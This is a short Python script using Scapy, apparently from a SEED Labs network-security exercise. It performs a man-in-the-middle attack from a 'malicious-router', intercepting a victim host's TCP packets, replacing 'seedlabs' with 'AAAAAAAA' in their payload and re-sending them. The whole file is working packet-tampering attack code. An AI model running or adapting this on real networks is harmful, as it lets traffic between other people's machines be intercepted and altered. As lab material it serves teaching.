#!/usr/bin/env python3
from scapy.all import *

def spoof_pkt(pkt):
    # 如果是发往目标 192.168.60.5 的 TCP 数据包
    if IP in pkt and pkt[IP].dst == '192.168.60.5' and TCP in pkt:
        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)
        del(newpkt[TCP].payload)
        del(newpkt[TCP].chksum)

        if pkt[TCP].payload:
            data = pkt[TCP].payload.load
            print(f"Original data: {data}")
            # 修改内容，假设名字是 seedlabs -> AAAAAAAA
            newdata = data.replace(b'seedlabs', b'AAAAAAAA')
            send(newpkt/newdata, verbose=False)
        else:
            send(newpkt, verbose=False)

# 过滤器只捕获受害者的包，避免拦截自己发出的包导致死循环
f = 'tcp and src 10.9.0.5'
print("MITM script starting on malicious-router...")
sniff(iface='eth0', filter=f, prn=spoof_pkt)
